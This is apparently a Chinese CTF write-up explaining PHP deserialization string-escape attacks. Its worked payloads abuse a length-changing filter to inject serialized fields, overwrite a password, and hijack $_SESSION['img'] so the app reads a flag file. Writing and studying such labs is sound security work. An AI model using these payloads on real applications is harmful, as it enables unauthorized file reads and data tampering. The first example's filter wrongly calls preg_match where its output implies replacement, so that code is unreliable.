分析
PHP 在反序列化时，对类中不存在的属性也会进行反序列化
这个点很神奇，
例题一
<?php
function filter($string){
return preg_match('/x/','yy',$string);
}
$username = "peri0d";
$password = "aaaaa";
$user = array($username, $password);
var_dump(serialize($user));
echo '\n';
$r = filter(serialize($user));
var_dump($r);
echo '\n';
var_dump(unserialize($r));
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这里将 x 替换为 yy,也就是变长了，正常的序列化数据为
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
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如果我们可以控制用户名去修改密码，那么应该是这样的
a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}
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(尤其注意这里的双引号)
peri0d 长度为6，";i:1;s:6:"123456";} 长度为20
x替换为yy，长度由原来的1变为2，那么我们这里设填充为z,满足
6+20+z = 6+2z，得到的z就是20，所以填充x为20即可
$username = "peri0d";
$payload = '";i:1;s:6:"123456";}';
$x = str_repeat("x",20);
$username = $username.$x.$payload;
$password = "aaaaa";
$user = array($username, $password);
$r = filter(serialize($user));
var_dump($r);
echo '\n';
var_dump(unserialize($r));
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结果
"a:2:{i:0;s:46:"peri0dyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}"
array(2) {
[0] =>
string(46) "peri0dyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy"
[1] =>
string(6) "123456"
}
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例题二
安洵杯 easy_serialize_php
代码如下
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();');
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
|
flag 在 d0g3_f1ag.php 这个文件中
$_SESSION 数组中有 user, funciton, img 这三个属性
最后读文件的文件名是 $_SESSION['img'] ，如果能够控制这个属性就好了，但是
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
|
显然 sha1 的数据你是没法控制的，那怎么搞呢
重点在这里
$serialize_info = filter(serialize($_SESSION));
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序列化之后经过了一次过滤
而 extract($_POST); 使得我们可以控制 $_SESSION 数组中的 user 和 function
先测试一下正常的一段序列化字符：
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:4:"2333";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZwo=";}
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能不能控制好user和function，使得加上一个我们控制好的img
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:4:"2333";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAo=";s:2:"dd";s:3:"aaa";};s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZwo=";}
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这样反序列化的时候最后的那个 img属性就是多余的了，我们来计算一下怎么利用过滤来达到目的
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION['user'] = '2333';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAo=";s:2:"dd";s:3:"aaa";}';
$_SESSION['img'] = 'Z3Vlc3RfaW1nLnBuZwo=';
$a = filter(serialize($_SESSION));
var_dump(filter(serialize($_SESSION)));
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此时生成的是
a:3:{s:4:"user";s:4:"2333";s:8:"function";s:61:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAo=";s:2:"dd";s:3:"aaa";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZwo=";}
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我们要让 ";s:8:"function";s:61:"a 这段字符被吃掉，成为 user 的值，算一下长度24，正好是6个flag
所以
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION['user'] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAo=";s:2:"dd";s:3:"aaa";}';
$_SESSION['img'] = 'Z3Vlc3RfaW1nLnBuZwo=';
$a = filter(serialize($_SESSION));
var_dump(filter(serialize($_SESSION)));
var_dump(unserialize($a));
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这时候得到的结果
a:3:{s:4:"user";s:24:"";s:8:"function";s:61:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAo=";s:2:"dd";s:3:"aaa";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZwo=";}
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再进行反序列化
array(3) {
'user' =>
string(24) "";s:8:"function";s:61:"a"
'img' =>
string(20) "ZDBnM19mMWFnLnBocAo="
'dd' =>
string(3) "aaa"
}
|
可以看到成功地覆盖了img属性
ps,又测试了一下如果有两个img属性会怎么搞
$_SESSION['user'] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAo=";s:3:"img";s:3:"aaa";}';
$_SESSION['img'] = 'Z3Vlc3RfaW1nLnBuZwo=';
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得到的结果是：
array(2) {
'user' =>
string(24) "";s:8:"function";s:62:"a"
'img' =>
string(3) "aaa"
}
|
此时img属性被合并了
